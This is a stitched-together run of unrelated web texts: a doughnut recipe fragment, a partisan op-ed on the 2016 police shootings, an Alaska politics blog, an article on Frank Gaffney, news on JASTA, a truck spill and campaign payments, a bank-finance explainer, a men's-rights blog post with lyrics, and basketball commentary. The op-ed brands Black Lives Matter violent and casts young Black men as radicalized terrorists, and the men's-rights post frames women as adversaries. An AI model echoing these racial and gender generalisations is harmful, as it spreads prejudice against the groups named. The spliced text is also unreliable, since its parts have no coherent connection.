3. Stir yeast mixture into flour mixture with wooden spoon until sticky dough forms. Add up to 1/4 cup warm water to make smooth dough. Stir in melted margarine. Turn dough out onto well-floured work surface, and knead 6 to 8 minutes, or until smooth, soft, elastic dough forms. Add flour while kneading, if necessary. Transfer to oiled bowl, cover with towel, and let rise in warm place 1 1/2 hours.
4. Dust baking sheet with flour. Roll dough out to 1/4-inch-thick round on well-floured work surface. Cut 25 circles from dough with 2-inch round cutter. Transfer rounds to prepared baking sheet, and cover loosely with plastic wrap. Let rest 15 minutes.
5. Heat oil in large skillet or Dutch oven to 370°F, or until hot but not smoking. Fry doughnuts in oil 3 to 5 minutes, or until deep golden brown, turning two or three times. Drain on paper-towel-lined plate; then roll in superfine sugar while still warm. Cool.
The word is out in the black community, thanks to non-stop agitating by President Barack Obama and his sycophants in the Left-wing mainstream media: America’s police forces are filled with racists and they are ALL gunning for African Americans, so they are fair game.
That’s the mentality that led to the proliferation of the Black Lives Matter movement, a violent protest group whose followers are being radicalized to the point that they’re now becoming domestic terrorists.
In Dallas, a little more than a week ago, five police officers were shot and killed by a racist sniper – a former Army vet who told police he targeted white officers specifically, only wanted to talk to a negotiator who was black, and was upset about Black Lives Matter and police shootings involving black men.
In short, he bought into the garbage being preached by Left-wing media haters, like this idiot at the Huffington Post. Johnson was radicalized on the premise of a false narrative by people who hide their own racial bigotry and anti-white, anti-Christian bias behind the mantle of “journalism.” He became a domestic terrorist on the mistaken belief that men of his skin color don’t have a fair shot at becoming successful in America – even when the hard evidence proves otherwise.
Now we have three more police officers who were ambushed and killed in Baton Rouge, La., while three more were wounded. As of this writing, press reports say that the killer was Gavin Eugene Long, a black man from Kansas City, Mo., who now appears to be the latest radicalized African-American domestic terrorist.
Though little is known at this juncture about Long and his motives, there can be little doubt that the sensationalized anti-cop rhetoric coming from the so-called “mainstream media” had much to do with it.
Since the reign of Obama began, the media has sown racial hatred and division. Taking Obama’s cues – that despite a Civil War to outlaw slavery, civil rights legislation decades ago, and hiring and academic preferences for minorities, our country remains filled with racial animus and bigotry – the media has dutifully fanned the flames to the point that now we’re seeing young black men sacrifice their lives to attack those we pay to protect us and keep our civil society civil.
No rational, thinking person would deny that before Obama, America was not the land of racial harmony, per se. Racism – that is, mistrust, fear, stereotyping and suspicion of someone strictly on the basis of their ethnicity – is a human characteristic, and it has been, and will always be, part of the human condition. That is exists in America is not unique; racism is everywhere.
But no one can seriously argue that racial tensions aren’t worse now than before Obama took office. Now why is that?
America has always been particularly vulnerable to charges of racism because we are truly a multi-cultural, multi-ethnic society. That’s what makes it so easy for race baiters and race hustlers like Obama, Al Sharpton, Marc Lamont Hill, Jesse Jackson and the Left-wing “progressives” in the media to pit us against each other based on our skin color. It’s shameful, but true nonetheless.
Make no mistake about it: Young African-American males are being radicalized to commit violence against our police by the left-wing media (which includes the entertainment industry, by the way) and the race hustlers in the same way that ISIS uses propaganda, untruths, and half-truths to convince young Islamists to commit acts of terrorism. Both factions are responsible for inciting violence, but the difference is the race hustlers in America inciting black men to kill get to hide out in the White House or claim the First Amendment protects them from liability.
The people who have incited others to kill police officers with hateful, dishonest rhetoric should not be permitted to hide behind the Constitution.
Sources:
BlackLivesMatter.com
CBSNews.com
NYTimes.com
ABC7Chicago.com
HuffingtonPost.com
Newsbusters.org
City-Data.com
Breitbart.com
USAToday.com
Dead air...please explain, Senator.
Wielechowski pointed out that this was the first summer in years that the legislature was not called into a special session. Lawmakers made plans. Plans to fish, plans to visit friends and relatives Outside, plans to just enjoy an Alaskan Summer. Getting everyone together prior to July 25 (Palin's last day as governor) is almost next to impossible ("...we estimate we can (meet) first-second week in August...").
For some reason, nothing seems simple in Alaska. It would seem with the governor's resignation, the Lieutenant Governor, Sean Parnell, could simply take his seat. The appointed third-in-line would then slip into Sean's chair and we could get back to business.
Sorry. According to both parties, Alaska sits on the edge of a constitutional crisis because of the "chain of command vacuum" created by the governor's abrupt resignation.
The perfect storm of events lined up on February 6, 2009. Senate Resolution 5 passed 16 - 1. It found Todd Palin and the governor's aides guilty of contempt of the State of Alaska Senate. Their refusal to co-operate with subpoenas during the Branchflower Investigation came with no penalties; just the finding. Four days later, Attorney General Talis Colberg resigned. Colberg purportedly advised those found in contempt to ignore their subpoenas.
In February 2007, Palin appointed her AG, Talis Colberg, to serve as successor to the Lieutenant Governor. The legislative body confirmed him. His resignation called for not only a new AG, but a new successor as well.
On April 16th, the nomination of Wayne Anthony Ross for AG was defeated after a long, controversial hearing. Commissioner of Corrections, Joe Schmidt was confirmed as "third in line" in the event the governor or lieutenant governor were unable to fulfill their duties.
Hey, great, constitutional obligations met! Not so fast...
When the governor resigned, Joe Schmidt, who had lobbied for the job and sent thank you notes to those who voted for him, decided "Thanks, but no thanks." Schmidt, a high school friend of Palin's, was a controversial nomination after a 514-19 vote of "no confidence" by the Alaska Correctional Officers Association in 2008. Their lack of confidence had to do with cover up of a contagious bacterial infection, MRSA, among prisoners and guards. In May, the ACOA filed a lawsuit against Sarah Palin's administration for purposefully dragging its feet in getting the legislature to appropriate pay increases, thereby sabotaging new contract arbitration.
It's hard to know why Mr. Schmidt declined his previously sought duty, but a replacement was named by the governor quickly; Alaska National Guard Lieutenant General Craig Campbell.
Last August, just days after Sarah Palin's VP nomination, then Major General Campbell told the AP the governor had no control over the Alaska Air National Guard. He continued breaking down the meme of her experience in an interview with the Boston Globe. Two days later, on Friday, September 8th, Campbell flip-flopped on Fox news. He sang the governor's praises. The following Monday, Palin promoted him to Lieutenant General in the Alaska National Guard - a rank only recognized in Alaska. Now she has promoted him for his loyalty again; this time to Lieutenant Governor.
Here is where the constitutional crisis has a head on.
With Palin's resignation, Joe Schmidt declining the Lt. Gov job, and Mr. Campbell not being confirmed by the legislative body...we are left with one leader, Sean Parnell, and no spares. According to the Constitution we have to have a spare. The only way to get a spare is to have a special session and confirm Mr. Campbell. Palin's newest attorney general appointee, Dan Sullivan, formerly of the Bush Administration, supports the unconfirmed succession of Mr. Campbell. Mr. Sullivan has yet to be confirmed by the legislature.
Oooh, lucky us! An oh-so-special session! Wait!
Governor Palin's $28.6 million veto of federal stimulus funds for energy assistance and weatherization is on the desk waiting for next year's session to start. The legislature has 5 days to override the governor's veto, or forfeit it. The decision was made not to have a special session to flip her decision-not for the lack of votes, but because of the expense.
As more information rolls out, Palin's excuses for leaving office become weaker. The ethics complaints were to blame. "Millions of dollars" have been sifted down to less than $300,000-$296,042.58 to be exact. The ethics complaint Palin filed on herself in a political attempt to derail the Branchflower Investigation cost the state $187,797. That means all of the other complaints combined cost the state $108,245.58. But wait, Alaskan Frank Gwartney's "travelgate" complaint forced Palin to cough up $8,143.62 back to the state coffers. So the net cost of all of the ethics complaints, excluding Palin's expensive political stunt, was $101,101.84.
On June 26, 2007, a joint special session was called to fund a program for low income seniors. The cost of the one day meeting? $103,500.
Here's the rub; Governor Palin aborting her term will end up costing Alaskans more than all of the non-Palin ethics complaints combined. Former legislators I spoke with estimated this session would cost somewhere north of $150,000. $150,000 just to sort out her mess! Both Democratic and Republican lawmakers I've talked to see this "July Surprise" as an expensive constitutional train wreck. Most are projecting the session needing at least a few days.
Let's do the math:
Branchflower Report: $75,000 (Legislative investigation that found Sarah Palin guilty of abuse of power.)
Palin's own ethics complaint: $187,245.58 (A political tactic filed in an attempt to de-rail the Branchflower Report.)
Special Session (Low estimate):$150,000
PALIN'S cost to the State of Alaska? $402,245.58
"FRIVOLOUS ETHICS COMPLAINERS" cost to the State of Alaska? $101,101.84
Maybe we need to start AlaskaPAC.
If the solution to averting a constitutional crisis is for Sarah Palin to stay on as governor for a few weeks, as one Democratic Senator suggested on my radio show, Alaska should be a reality show. "Help, I'm A Celebrity Governor, Get Me Out Of Here!"
UPDATE: Lieutenant Governor, and soon to be governor, Sean Parnell signed a letter naming Lieutenant General (rank only applies in AK) Craig E. Campbell as his temporary substitute effective upon Lieutenant Governor Parnell's succession to the Office of Governor July 26.
Parnell called it a "win-win approach to ensuring a clear and secure line of succession to the office of lieutenant governor."
Parnell is relying on the opinion of the acting attorney general, Dan Sullivan released last week, showing neither party understands the constitutional requirements for succession. Sullivan's opinion is non-binding and in conflict with those of legislative legal. It makes no difference if Palin or Parnell appoints the replacement for Lt. Gov. if the legislature hasn't voted to confirm the nomination. A third successor has yet to be named.
The Center for Security Policy, a think tank led by former Reagan administration official Frank Gaffney, is co-hosting the New Hampshire National Security Action Summit on Saturday of New Hampshire. Former Hewlitt Packard CEO Carly Fiorina is expected to speak at the summit in the first-in-the-nation primary state, while Sen. Ted Cruz (R-TX), Louisiana Gov. Bobby Jindal, former New York Gov. George Pataki and former Pennsylvania Sen. Rick Santorum (R-PA) are also expected to attend, a spokesman for the organization told The Keene Sentinel newspaper. A bevy of other GOP candidates were invited to the summit but have not confirmed their attendance.
Among the topics to be discussed are “the threat from Iran, Shariah and the Global Jihad Movement,” “the hollowing-out of the U.S. military,” border security and immigration. A National Security Action Summit held earlier this year in South Carolina saw its fair share of fringe activists, including one who asked Santorum why Congress was “rolling over and letting this communist dictator [President Obama] destroy my country.”
Gaffney has also established himself firmly on the fringe over the years as he’s accused prominent government officials of being Islamic plants or of following Sharia law. Here are a few of his most outlandish claims.
The Muslim Brotherhood plot to infiltrate the U.S. government
Gaffney is perhaps most well-known for insisting that Obama administration officials, including Huma Abedin, a long-serving aide to Hillary Clinton, are infiltrating the U.S. government on behalf of the Muslim Brotherhood. The Muslim Brotherhood is an Islamic revival movement that organizes as a political party in places like Egypt. Gaffney’s vicious attacks on Abedin in particular prompted Sen. John McCain (R-AZ) to defend the State Department aide from the Senate floor in 2012.
Elena Kagan and creeping Sharia law
Gaffney argued in a series of 2010 columns that U.S. Supreme Court Justice Elena Kagan, then the dean of Harvard Law School, was trying to inject Islamic Sharia law into the country’s financial system. Because Islamic Finance Project was established at the school during Kagan’s tenure there, Gaffney alleged she was a cog in the “stealth jihad” machine helping the Muslim Brotherhood dismantle American capitalism from within. The op-eds even ran alongside photoshopped images of Kagan wearing a turban.
Kagan wasn’t the only prominent figure that Gaffney accused of submitting to Sharia law, either. Gen. David Petraeus was the subject of Gaffney’s ire after he condemned a controversial Florida pastor who burned a Quran.
Banned from CPAC
Gaffney was banned from speaking at the annual Conservative Political Action Conference in 2010 after he accused some of the organizer’s board members, including anti-tax activist Grover Norquist, of being agents of the Muslim Brotherhood.
Then-CPAC Chairman David Keene said in a statement that Gaffney had “become personally and tiresomely obsessed with his weird belief that anyone who doesn’t agree with him on everything all the time or treat him with the respect and deference he believes is his due, must be either ignorant of the dangers we face or, in extreme case, dupes of the nation’s enemies.”
Birtherism
Gaffney also has propagated the “birther” conspiracy that holds President Barack Obama was born in Kenya.
In a 2008 column, Gaffney stated that Obama had “failed to provide an authentic birth certificate” despite the fact that his campaign released a copy of a birth certificate showing he was born in Hawaii. Gaffney continued to cast doubt on the President’s citizenship in 2012, when he peddled a fabricated quote of Obama’s suggesting that he admitted to not being born in the United States.
The Center for Security Policy leader has also suggested that Obama is secretly a practicing Muslim because the President referred to “the Holy Koran” and “established his first-hand knowledge” of the religion in one particular speech.
A nefarious Missile Defense Agency logo
One of Gaffney’s most laughable theories emerged in 2010, when he wrote that a logo being used by the Pentagon’s Missile Defense Agency “appears ominously to reflect a morphing of the Islamic crescent and star with the Obama campaign logo.” He argued the logo was evidence that Obama was trying to appease Islamic regimes.
The vote marks the first time Congress could successfully override a veto during Obama’s presidency. Sen. Harry Reid, D-Nev., the outgoing Senate minority leader, was always able to block votes that would’ve resulted in an override, effectively protecting President Obama from legislative embarrassments, particularly during his time as majority leader.
The lone “no” vote in the U.S. Senate came from Sen. Reid. Worth noting, even though he was holding an event only 20 minutes away from the Capitol at 9 a.m., Hillary Clinton’s vice presidential running mate, Virginia Sen. Tim Kaine, was not present for the vote. The floor vote began in the Senate around noon.
The bill gives victims’ families the right to sue in U.S. court for any role that certain actors within the Saudi government may have played in the September 11, 2001 terror attacks. Fifteen (15) of the 19 hijackers were Saudi nationals and, as a result, the bill “amends the federal judicial code to narrow the scope of foreign sovereign immunity by authorizing U.S. courts to hear cases involving claims against a foreign state for injuries, death, or damages that occur inside the United States as a result of a tort, including an act of terrorism, committed anywhere by a foreign state or official.”
President Obama vetoed the bill after the House passed Senate bill 2040 (S.2040), known as the Justice Against Sponsors of Terrorism Act, or JASTA, ignoring threats from the president and Riyadh. The Saudi government vowed to pull billions of dollars from the U.S. economy. In a last-ditch effort to stop the override, the president wrote a letter to Senate Majority Leader Mitch McConnell, R-Kty., and Sen. Reid, warning the bill would be used by other countries to justify the creation of ways to target “U.S. policies and activities that they oppose.”
“As a result, our nation and its armed forces, State Department, intelligence officials and others may find themselves subject to lawsuits in foreign courts.” Mr. Obama wrote in a letter on Tuesday.
Mr. Obama further said the legislation will damage U.S. foreign relations with Saudi Arabia and other nations. However, Sen. Cornyn called the arguments made by Mr. Obama “unpersuasive.” He said the bill only applies narrowly to acts of terrorism that occur on U.S. soil.
“This bill is about respecting the voices and rights of American victims,”Sen. John Cornyn, R-Texas, said.
“It’s very simple. If the Saudis were culpable, they should be held accountable. If they had nothing to do with 9/11, they have nothing to fear,” said Sen. Charles “Chuck” Schumer, D-N.Y., who cosponsored the bill with Sen. Cornyn.
So, what role did the Saudis play in the worst attack on U.S. soil since Pearl Harbor?
That remains unclear and open to discussions, but the relatives of Sept. 11 victims had been urging the Obama administration to declassify and release U.S. intelligence that allegedly discusses possible Saudi involvement in the attacks. In July, a 28-page 2002 congressional report on the September 11, 2001 terror attacks was released Friday and it indicated some of the hijackers had ties to people in the Saudi government.
The report cited the reason for a “limited understanding” of Saudi Arabia’s role and financing of terror groups as an unwillingness to investigate “due to Saudi Arabia’s status as an American ‘ally.’” It also revealed that in 2002–only a year after the deadliest terror attacks in U.S. history–the Federal Bureau of Investigation (FBI) had numerous leads indicating ties between Saudis in America and some of the hijackers, specifically the two that took control of Flight 77, which crashed into the Pentagon.
Further, it links associates of the hijackers and Saudi Arabian Prince Bandar bin Sultan, the former longtime ambassador to the United States. In a phone book found on al-Qaeda operative Abu Zubaydah, who was captured in Pakistan in 2002.
The documents released claim Omar al-Bayoumi, a Saudi national who helped two of the hijackers in San Diego, Calif., was suspected of being a Saudi intelligence officer. “Al-Bayoumi was known to have access to large amounts of money from Saudi Arabia, despite the fact that he did not appear to hold a job,” the report said.
While the 9/11 Commission found him to be an “unlikely candidate for clandestine involvement” with Islamic extremists, the new document says that FBI files indicated al-Bayoumi had “extensive contact with Saudi government establishments in the United States and received financial support from a Saudi company affiliated with the Saudi Ministry of Defense. … That company reportedly had ties to Osama bin Laden and al-Qaida.”
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Heads of cabbage a strewn on Interstate 10 westbound near IH-35 Sunday November 13, 2011 after an 18-wheeler tractor trailer rig tipped over in the downtown area. Police at the scene said the driver was not injured in the accident. JOHN DAVENOIRT/jdavenport@express-news.net less Heads of cabbage a strewn on Interstate 10 westbound near IH-35 Sunday November 13, 2011 after an 18-wheeler tractor trailer rig tipped over in the downtown area. Police at the scene said the driver was not ... more Photo: JOHN DAVENPORT, SAN ANTONIO EXPRESS-NEWS Photo: JOHN DAVENPORT, SAN ANTONIO EXPRESS-NEWS Image 1 of / 4 Caption Close I-10 ramp closed after trailer spills cabbages 1 / 4 Back to Gallery
A trailer carrying cabbages crashed on Interstate 10 downtown near Martin Street on Sunday, prompting crews to block an entrance to the highway's westbound lane as they cleaned debris.
Police officers and firefighters responded to the apparent rollover about 11:30 a.m.
Crews remained at the scene at 1:30 p.m. picking up cabbage heads and crates that spilled onto the road and under the highway. An officer at the scene said they would likely remain for several more hours.
Obama for America began the payments to Perkins Coie in April 2016 — the same time the law firm hired Fusion GPS to look into ties between the Trump campaign and Russia, The Federalist’s Sean Davis reported Sunday.
This revelation could mean that President Obama and other administration officials may have, along with the Clinton campaign and the DNC, helped fund the unverified Trump dossier, which was used by the FBI to get a surveillance warrant on a Trump campaign official and used as a roadmap for the FBI’s investigation into any collusion between the Trump campaign and Russia.
The Federalist reports:
The timing and nature of the payments to Perkins Coie by Obama’s official campaign arm raise significant questions about whether OFA was funding Fusion GPS, how much Obama and his team knew about the contents and provenance of the dossier long before its contents were made public, and whether the president or his government lieutenants knowingly used a partisan political document to justify official government actions targeting the president’s political opponents named in the dossier. According to the Washington Post, Fusion GPS was first retained by Perkins Coie on behalf of the Democratic National Committee (DNC) and Hillary Clinton’s presidential campaign in April of 2016.
Federal Election Commission records for Obama For America show that, since April 2016, the organization paid over $972,000 to Perkins Coie.
OFA, paid nearly $800,000 to Perkins Coie in 2016 alone, according to FEC records. The first payments were made April 25-26, 2016, and classified as “Legal Services,” totaling $98,047.
The second batch of payments, also classified as “Legal Services,” was disbursed to Perkins Coie on September 29, 2016, totaling $700,000. Payments from OFA to the law firm in 2017 totaled $174,725 through August 22, 2017.
FEC records also show that Marc Elias, the Perkins Coie lawyer who hired Fusion GPS had also previously served as a counsel for OFA and the DNC.
In 2012, OFA retooled towards enacting the president’s agenda in his final term, and after the 2016 election, planned to use its staff and resources to oppose Trump, according to The Federalist.
The outlet also reports that — at the same time OFA, Clinton’s campaign, and the DNC were paying Perkins Coie — the spouse of one of Fusion GPS’s key employees was working as a top communications adviser to President Obama, Shailagh Murray, a former Washington Post reporter, making it even harder for the Obama administration to deny it knew about the dossier that they used to get a spy warrant on a Trump campaign official.
Hillary Clinton has denied knowing about the dossier until after it was published on January 10, despite her campaign and the DNC funding it through Perkins Coie since April 2016. Then DNC-chair Rep. Debbie Wasserman Schultz (D-FL) also denied knowing about it in testimony to the Senate intelligence committee in September.
Clinton’s campaign chairman John Podesta also told the committee in September that he had no knowledge of payments to Fusion GPS, even though Elias sat right next to him, according to CNN.
Some lawmakers did not buy those denials.
Sen. Susan Collins (R-ME) said Sunday on CBS’s Face the Nation that members of the Clinton campaign and the DNC should re-testify before the Senate intelligence committee in light of the new revelations.
“They absolutely need to be recalled,” she said. “It’s difficult to imagine that a campaign chairman, that the head of the DNC would not know of an expenditure of this magnitude and significance. But perhaps there’s something more going on here. But certainly it’s worth additional questioning of those two witnesses.”
House Oversight Committee Chairman Trey Gowdy (R-SC) told Fox News Sunday he was interested in investigating the Clinton campaign and the DNC. “I’m not an election law expert, but the good news is you don’t have to be to understand the absurdity believing you can just launder all of your campaign money by just hiring a law firm … I can’t think of anything that defeats the purpose of transparency laws more than that.”
Banks like debt for several reasons. First, it is cheap compared to equity: banks’ creditors charge relatively little because they know they are likely to be bailed out if the bank fails. Tax breaks for interest payments make debt cheaper still (see this week’s briefing). And unlike equity, issuing it does not entail any dilution of control. But regulators prefer equity, which can absorb losses in downturns and thus ward off bail-outs.
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A new breed of hybrid instruments is billed as the best of both worlds. So-called contingent convertible bonds, or “cocos”, turn into equity when a bank is struggling, trimming its debts and interest payments. Coco issuance has soared since 2010, as banks have sought to keep regulators happy by bolstering their ability to withstand losses. These fancy bonds have the upsides of debt in good times, but provide a cushion in a crisis.
Or so the theory goes. Cocos usually convert when regulators decree that a bank’s capital has fallen below some threshold. In the height of a crisis, that puts regulators in a bind: announcing that a bank is weak can cause panic. A conversion also imposes sudden losses on bondholders, who find themselves holding shares worth much less than the bonds that spawned them. If the bondholders are themselves in distress, those losses can reverberate around the financial system.
Jeremy Bulow of Stanford University and Paul Klemperer of Oxford University see a way to overcome these problems with a new instrument called an equity recourse note, or ERN. Like a coco, an ERN functions as debt in normal times. But the trigger for the conversion is the bank’s share price, rather than a regulatory measure of capital. When the share price falls by enough—say, to 25% of its initial value—the bank can make repayments on the bond with new shares rather than with cash.
For example, suppose a bank issues a $50m ERN when its shares are worth $100 each. The ERN would pay interest like a normal bond unless the share price stood below $25 on the day a payment was due or the bond was to be redeemed. In that case, investors would be paid in shares valued at $25 each—even if the market price was lower still. So to redeem the $50m ERN, the bank would issue 2m new shares. Since the share price is below $25, those new shares would be worth less than $50m, meaning the conversion would be a good deal for the distressed bank.
This avoids several problems with cocos. There is no uncertainty about how regulators will behave. Abrupt losses are minimised: investors can see when the share price is nearing the trigger, and if it recovers, cash payments resume. Because the new shares are worth no more than the cash saved, ERN conversions should shore up a bank’s share price (by contrast, when cocos convert, enough new shares are created to push the price down).
ERNs might benefit the economy, too. Distressed firms usually struggle to raise new funding thanks to a problem known as “debt overhang”: new cash is diverted to pay off debts rather than fund new investments. That makes funding pricier, so banks would rather shrink their loan books than issue shares, starving the economy of credit. This problem does not arise with ERNs. If the distressed bank issues new ERNs when its share price falls to $25, the conversion point for the new note would be only $6.25, meaning with a share price between $6.25 and $25, new investors would receive cash payouts while old ones still get shares. That puts debt overhang into reverse, helping to tame credit booms and busts—something not even more equity can do.
The best of all worlds
This might seem too good to be true; indeed, ERNs are untested. It is not certain, for instance, that investors would be keen to swap conventional bonds for riskier, more complex instruments. However, the two economists argue that, for firms, issuing ERNs is just like issuing normal debt bundled with options allowing them to sell shares at the conversion price if they so wish. That should make ERNs easy to value. It also means investors can turn ERNs back into riskless debt by buying their own options to sell the shares on, so that they end up with cash in any event.
A better criticism of ERNs applies to all hybrid instruments: if banks’ preference for debt is artificial—the tax benefit, for instance, is a distortion in its favour—then a simpler solution is to require much more equity. Bankers may complain, but only because they have to pay more for funding.
I’m sure that’s not a surprising thing to hear, and probably your only quibble would be with the timing. I say that timing is based on the ‘straw that broke the camel’s back, that is/will be when all these unemployed men, with no benefits other than welfare left to fall back on, will have run out of things to sell. And then, they will be facing homelessness. And getting more and more angry at the entitlements given women.
But these things don’t come out of nowhere, and to date, the men’s movement has been largely invisible, and when not invisible- painted as villainous sexism. So where will this cultural awareness, this impetus to effect change, focus its efforts? How will all these angry men know who to get angry AT?
My contention, as an MRA, is that they already know. My contention is that the Men’s Movement is literally nothing more than that first guy to stand up and say something. Once that happens, all the other guys (in order of confidence) will then stand up too- if the first guy doesn’t get his head cut off.
We MRAs have had our head cut off….a lot. But, we grow new ones, and get back up. And now, other guys are standing up too, and not getting their heads cut off. And it is for THIS reason alone that I think we will see exponential growth in progress on men’s issues. After all, you can only be heard if you have a head, and more and more of us are keeping them.
Another aspect of our discussion revolved around the concept of popular culture, and the acceptance of the MRM as worthy of attention. Many here and elsewhere seem to believe that our concepts, the injustices we identify, and the criticism we level are neither accepted widely, nor seen as anything but whining. I contend that not only are most of our concerns reflected in popular culture, nearly all of them are, and so much so that not seeing it is likely a matter of cognitive dissonance.
Take music, for example. We all know of the Eminem / Rhianna take on DV, which could have been taken straight from an MRA site. We mistakenly attribute that to ‘broken clocks are still correct twice a day’ type thinking. I say mistakenly, because a good portion of society is concerned about certain aspects of daily life. There ARE people who are concerned about male suicide, for example, that still firmly believe in The Patriarchy(tm). There are even people who are concerned about nearly all of the things we MRAs are, that don’t identify with (or even show awareness of) the Men’s Movement.
Sometimes, that person is in a band. Like The Shins, for example.
I have to confess, I got the idea to write this while listening to this band, so I apologize for the obvious segue. I haven’t kept up with them for the last couple of years, but I recently ran across a couple CDs, and after giving them a spin, I figured I’d share with you folks.
Here’s a song called “Girl Sailor”. Read these lyrics, then tell me it doesn’t mirror your feelings on the matter
exactly:
The Shins – “Girl Sailor”
The gutter may profess its love,
Then follow it with hesitation,
For there are just so many of
You out there for rent
A stronger girl would shake this off in flight,
And never give it more than a frowning hour,
But you have let your heart decide,
Loss has conquered you,
You’ve won one too many fights,
Wearing many hats every time,
But you won’t win here tonight,
You’ve made it through the direst of straits alright,
Can you help it if plain love now seems less interesting?
You haven’t changed an ounce in my eyes,
And I cannot lecture you,
And does anything I say seem relevant at all?
You’ve been at the helm since you were just five,
While I cannot claim to be more than a passenger,
But, you’ve won one too many fights,
Wearing all of your clothes at the same time,
Let the good times end tonight,
Oh girl, sail her, don’t sink her,
This time,
Just a moment or two from now,
Not a mind will retain even a trace,
Of the thoughts that I struggled to tell
And how our stack of cards just fell,
So settle this once and for all,
The light no longer shows the cracks around my door,
And I have no lantern to light your way home tonight,
You are not some saint who’s above,
Giving someone a stroll through the flowers,
You’ve got so much more to dream of,
Oh girl, sail her, don’t sink her,
This time,
This time,
This time.
I’ve struggled on many an occasion to put into words exactly how I feel about what feminism has done to relationships between men and women. I’ve also struggled to put into words the disillusionment that becoming conversant in Game brings a man. Not only do The Shins put these complex issues into clear focus, they do it in what is probably the most difficult timing a song can be in. This is a band for intellectuals, and high-level musicians – and yes, that does mean it’s not as catchy as Ke$ha, thank God.
Folksy stuff not your bag? You prefer a little more synthesizer and booming to acoustic guitar? How about a little Industrial music? There’s a band by the name of KMFDM that I listen to regularly. You may recall them as the band largely blamed for Columbine (which compelled the band to rename themselves MDFMK), even though a hallmark of the band is what could best be termed ‘violent pacifism’. For as far back as I can remember, this band has had fairly leftist viewpoints…ones that I heartily agreed with (and still do – SURPRISE!, I’m a lefty!)…but wait, look at some lyrics from their latest album:
KMFDM – “Bitches”
All these years, all this time
We have been messing with your mind
You thought us Noble, Right and True
You just don’t have a fucking clue
All the humor, pun, and wit
A heaping, steaming pile of shit
With a smile and a wink
We make believe our poop don’t stink
Rip the system, revolution
Adding fuel to your confusion
Gobble up the crap we feed you
We don’t really love and need you
We just want your cold hard cash
Get our hands into your stash
Now shut up, listen, and behold
Finally the truth’s been told
[Chorus:]
We’re only in it for the money
To dip our fingers in ya honey
We pretend to no end
We are bitches for your riches
My tide and the audacity
Of a handsome crook from Germany
A million sheets of patient paper
Chronicle his every caper
You never had us figured out
Lend stature, relevance and clout
Even called us pioneers,
When really we were privateers
You reveled in our plagiarism
Joined into the organism
Your pompousness and indecorum
Spewed on every online forum
How you dribbled, how you drooled
Priceless how we had you fooled
We hijacked your bedazzled souls
For ransom ’til we made it gold
[Chorus]
We’re only in it for the money
To dip our fingers in ya honey
We pretend to no end
We are bitches for your riches
We’re only in it for the gain
Sex and drugs, and rock and roll fame
Jewelry, luxury
We are jammin’ for your ….
We’re only in it for the encore
We want it all, and then some more
All our deeds, plant the seeds
Prime booty is our duty
We just want your cold hard cash
Get our hands into your stash
Now shut up, listen, and behold
Finally the truth’s being told
We’re only in it for the drugs
The … never burns
Can’t get enough to stuff
The artifice of avarice
We’re only in it for the money
To dip our fingers in your honey
We pretend to no end
We are bitches for your riches
We are bitches for your riches
There are countless songs like this out there, and while the phenomenon may be nothing new, the frequency is increasing. These songs are resonating with the public…you know, all those people who don’t know about us, or ‘agree’ with us?
These social memes are out there. The sentiments of the MRM are universal sentiments. Frankly, I think there’s even merit in completely disbanding the MRM altogether, in some ways. Our sentiments certainly aren’t exclusive to us.
All we are, remember, is the first guy in the room to stand up.
Either that or he ordered the wrong thing last night at the fast-food joint.
Whatever the case, Eamonn is out of pocket. But if he were here, I'm sure he'd be as startled as I am to see that Louisiana Tech -- Louisiana Tech! -- has entered The Associated Press poll at No. 25. Look, I get it. The Bulldogs' 118-48 victory over Central Baptist College last week was impressive. And so were all those victories over WAC powerhouses such as Seattle, Idaho and Texas-San Antonio. Louisiana Tech is 24-3, for crying out loud, and it's not like two of its losses were to McNeese State and Northwestern State.
Oh, wait ... yes, they were.
Sarcasm aside, kudos to the Bulldogs, who are ranked for the first time since 1985, when Karl Malone was on the team. They're doing the best they can with a schedule that's out of their control. Hopefully the publicity they receive from this week's ranking will help their program. But it's ridiculous for Louisiana Tech to be in the poll over teams such as Colorado State, Connecticut, Wichita State, North Carolina and UNLV.
The Bulldogs' inclusion validates the main criticism of the AP weekly rankings: Voters are lazy. Instead of watching games or, at the very least, doing research, they're voting for teams based on record and record alone. It shouldn't always be about how many games you win. It should be about whom you play -- and whom you beat. Sorry to be a party-pooper, but Louisiana Tech is not one of the top 25 teams in college basketball.
A few other thoughts:
-- Miami fell only three spots -- from No. 2 to No. 5 -- following Saturday's 15-point loss to ACC bottom-feeder Wake Forest (12-14, 5-9). I'd have dropped the Hurricanes lower, not just because of their upset to the Demon Deacons, but because of how they were playing before that. Jim Larranaga's squad played one of its worst games of the season in a 45-43 victory over Clemson on Feb. 17. And it didn't exactly dominate Virginia in a 54-50 win two days later. UVa boasts a decent squad, but when you're ranked No. 2 in America, you're held to a higher standard, especially at home. I don't foresee the Hurricanes getting a No. 1 seed in the NCAA tournament.
-- I don't have any problem with Gonzaga being ranked No. 2 -- which, by the way, is the highest ranking in school history. The Zags own two conference victories over a solid Saint Mary's squad and as always, played a tough nonconference schedule that included games against Oklahoma State, Baylor, Butler, Illinois, Oklahoma, Kansas State and Davidson. Anyone doubting Mark Few's squad needs to watch the Zags play. They clearly pass the eye test. This team has very few, if any, flaws. The frontcourt of Kelly Olynyk and Elias Harris is one of the best in the country.
-- It's good to see Memphis back in the Top 20 at No. 18. The Tigers have been on fire since losing to Louisville in a curiously officiated game on Dec. 15. Memphis, 24-3 overall, has won 18 straight and is playing with tremendous structure and cohesion. In Saturday's game against Southern Miss, the Tigers had 25 assists on 29 field goals. I've enjoyed watching Josh Pastner -- who was 31 when he was hired to replace John Calipari in 2009 -- grow and mature as a coach.
-- Butler is a difficult team to rank. The Bulldogs boast victories over the country's No. 1- and No. 2-ranked teams (Indiana and Gonzaga). But they've also lost to Saint Louis, Charlotte and La Salle in recent weeks. And they were nearly upset by George Washington and Fordham. I guess I can understand leaving Butler in the poll, though -- for now.
-- After watching the New Mexico-Colorado State game Saturday, I wouldn't have dropped CSU out of the Top 25 despite its loss to the Lobos. This is a very good Rams team. Heck, it took someone (Kendall Williams) scoring 46 points for them to get beaten Saturday.
-- Kudos to VCU for rallying from a 17-point deficit to beat Xavier Saturday, but the Rams haven't been playing like a Top 25 team. Maybe it's the images of that 76-62 thumping VCU suffered at the hands of Saint Louis last week that are sticking in my head.
Unicaja Malaga announced the signings of Dani Diez and Edwin Jackson.
Jackson penned a single-season contract and comes from FC Barcelona.
Diez, the best youngster of ACB in 2014-2015, arrives from Gipuzkoa and inked a two-year contract.
Euroleague.net adds that the team holds an option to extend the deal.
